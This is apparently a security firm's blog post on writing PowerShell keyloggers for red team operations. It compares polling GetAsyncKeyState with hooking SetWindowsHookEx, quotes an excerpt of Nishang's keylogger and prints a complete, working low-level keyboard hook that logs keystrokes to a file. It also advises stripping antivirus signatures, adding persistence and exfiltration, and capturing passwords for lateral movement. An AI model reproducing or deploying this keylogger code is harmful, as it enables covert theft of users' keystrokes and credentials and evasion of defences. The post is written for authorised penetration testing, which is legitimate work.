The creation of a keylogger in PowerShell during the development of a Tarlogic Red Team exercise was necessary. And given the specific condition of the scenario, the best resulting option was programming a small script in PowerShell in order to save and exfiltrate keystrokes. Please, find in this post a detailed explanation of all the procedures explored during the development of the keystroke interception function of the keylogger software. Besides, advantages and disadvantages of each of the procedures are also included.
Introduction to keyloggers in PowerShell
The use of PowerShell scripts in order to develop pentesting tasks in Windows environments has spread in recent years. Frameworks such as Empire or Nishang, provide the pentester with a toolkit that can be used on a day to day basis in the development of security audits.
The capacity of calling the API of Windows (system DLLs) and programming to the lowest level thanks to the C# code compilation on the flight make PowerShell a tool able to search memory patterns, capture keystrokes, load DLLs reflectively, etc. At the time of tackling the way of intercepting and saving users’ keystrokes in the infected machine, the following two aspects can be observed: checking the state of keys or hooking keyboard events. The vast majority of keyloggers in PowerShell that could be found prefer (wrongly, as we will see later on) the first aspect.
Keylogger in PowerShell type 1 – GetAsyncKeyState
Those keyloggers basing their functioning on the use of the GetAsyncKeyState (User32.dll) function can be referred as “Type 1”. A significant proportion of keyloggers programmed in PowerShell belong to this category, including the most well-known such as Get-KeyStrokes of Empire (https://github.com/adaptivethreat/Empire/…/Get-Keystrokes.ps1) and Keylogger.ps1 of Nishang (https://github.com/samratashok/nishang/blob/master/Gather/Keylogger.ps1).
These keyloggers work by carrying out continuous requests using a loop on the function GetAsyncKeyState with the aim of checking if a particular key is pressed or not. For that purpose, apart from the main loop calling the function, it is necessary a second loop running the rest of the keystroke mapping in order to check if the key is pressed or not.
Please, have a look to the following Keylogger.ps1 code excerpt for better understanding
#... $signature = @" [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); "@ $getKeyState = Add-Type -memberDefinition $signature -name "Newtype" -namespace newnamespace -passThru $check = 0 while ($true) { Start-Sleep -Milliseconds 40 $logged = "" $result="" $shift_state="" $caps_state="" for ($char=1;$char -le 254;$char++) { $vkey = $char $logged = $getKeyState::GetAsyncKeyState($vkey) if ($logged -eq -32767) #...
The function GetAsyncKeyState of User32.dll from the PowerShell session is accessed through Add-Type. Next, we go into a loop going over the numeric value of keyboard characters every each 40 milliseconds. Besides, in each iteration the function GetAsyncKeyState() is applied over those characters in order to check the state of the key. In case the function returns the decimal value “-32767” the script interprets that the key has been pressed.
The only advantage of using this approach lies in the availability of much documentation and examples to take into consideration. The keylogger core is practically already developed and it is only necessary to delete possible signatures that antiviruses could detect as well as add persistence and information exfiltering routines.
The main problem of these keyloggers refers to the method (a loop running the function each X time) used to collect keystrokes. In a real environment, it is necessary to appropriately adjust the interval in between executions because many tricks may be produced, such as duplicated keys and non-registered keystrokes. Even though time can be refined, these tricks are going to always appear. Therefore, only their presence can be reduced.
This “noise” can be bearable if what we are looking for is only collecting generic information, since this could be treated afterwards to correct mistakes in the intercepted text. On the contrary, this type of mistakes would not acceptable in case of a Red Team operation where the priority could probably be the key credentials interception in order to move laterally. Therefore, “Zx3KK1.3” is not the same as “Zx3K1.3“, and this difference may be crucial.
Capturing and introducing an invalid password may mean firing an alert and therefore revealing Red Team presence.
Pros:
- Great amount of published scripts to use as a template.
Cons:
- Errors in the logged keys.
- Possible excessive consumption of memory.
Keylogger in PowerShell type 2 – SetWindowsHookEx
The second type of keyloggers counts with all the advantages and also hooks and intercepts generated events using the keyboard applying the function SetWindowsHookEx. This is an old technique (similar to the previous one) and is used by conventional keyloggers programmed in other languages. Therefore, it might be possible that implementations in PowerShell appear.
The action carrying out this function in our PowerShell is the installation of a hook in order to monitor and intercept keyboard input events before these arrive to the applications. Regarding each of those events, it could be possible to perform different actions: reception, callback processing and let it continue its original purpose.
A simple example of this type of Keylogger could be the following:
# Extracted from https://hinchley.net/2013/11/03/creating-a-key-logger-via-a-global-system-hook-using-powershell/ Add-Type -TypeDefinition @" using System; using System.IO; using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms;namespace KeyLogger { public static class Program { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100;private const string logFileName = "log.txt"; private static StreamWriter logFile;private static HookProc hookProc = HookCallback; private static IntPtr hookId = IntPtr.Zero; public static void Main() { logFile = File.AppendText(logFileName); logFile.AutoFlush = true; hookId = SetHook(hookProc); Application.Run(); UnhookWindowsHookEx(hookId); } private static IntPtr SetHook(HookProc hookProc) { IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName); return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0); } private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); logFile.WriteLine((Keys)vkCode); } return CallNextHookEx(hookId, nCode, wParam, lParam); } [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string lpModuleName); } } "@ -ReferencedAssemblies System.Windows.Forms [KeyLogger.Program]::Main(); #...
The main advantage of this approach is that keystrokes are not lost and duplication is not produced, as it has already happened with the previous keyloggers category. This accuracy is of great importance when working in real environments. Moreover, the resources consumption is much less.
Pros:
- Accuracy in the intercepted information.
- Minimum resources consumption.
Cons:
- More difficult and complex keystroke conversion (shift | crtl | alt + key)
Conclusion
PowerShell has become of a great help in penetration tests in business environments dominated predominantly by Windows platforms.
This constitutes an essential tool for any Red Team and for creating a keylogger in PowerShell due to the fact that it provides the possibility of easily scripting and interacting with Windows API, together with the fact of avoiding antivirus detection in many cases.